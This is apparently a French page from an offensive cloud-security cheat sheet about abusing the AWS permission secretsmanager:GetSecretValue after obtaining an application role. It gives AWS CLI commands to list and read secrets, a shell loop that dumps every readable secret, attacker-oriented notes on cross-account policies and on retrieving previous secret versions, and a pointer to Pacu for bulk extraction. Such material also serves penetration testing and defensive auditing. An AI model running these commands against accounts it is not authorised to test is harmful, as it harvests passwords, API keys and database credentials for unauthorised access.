Secrets Manager stocke des identifiants que les applications récupèrent à l'exécution, si bien que secretsmanager:GetSecretValue donne un accès direct aux mots de passe, clés d'API et chaînes de connexion du compte. L'autorisation est fréquemment accordée largement aux rôles applicatifs, ce qui en fait une cible de choix dès que vous détenez un tel rôle.
Lister et lire#
aws secretsmanager list-secrets --query 'SecretList[].[Name,ARN]' --output text
aws secretsmanager get-secret-value --secret-id <name-or-arn> \
--query SecretString --output text
Balayer tout ce qui est lisible#
for s in $(aws secretsmanager list-secrets --query 'SecretList[].Name' --output text); do
echo "== $s =="
aws secretsmanager get-secret-value --secret-id "$s" --query SecretString --output text 2>/dev/null
done
Notes d'exploitation#
- Lire un secret ne le fait pas pivoter, de sorte que les identifiants de bases de données et de services tiers récupérés continuent de fonctionner.
- Les stratégies de ressource sur un secret peuvent autoriser des lectures inter-comptes ; vérifiez
get-resource-policylorsqu'un rôle couvre plusieurs comptes. - Un
VersionStageàAWSPREVIOUSrenvoie souvent encore la valeur antérieure, utile lorsque la valeur courante a été pivotée après une exposition.
Outils#
- AWS CLI (
secretsmanager get-secret-value). - Pacu (
secrets__enum) : extraction en masse de Secrets Manager et Parameter Store.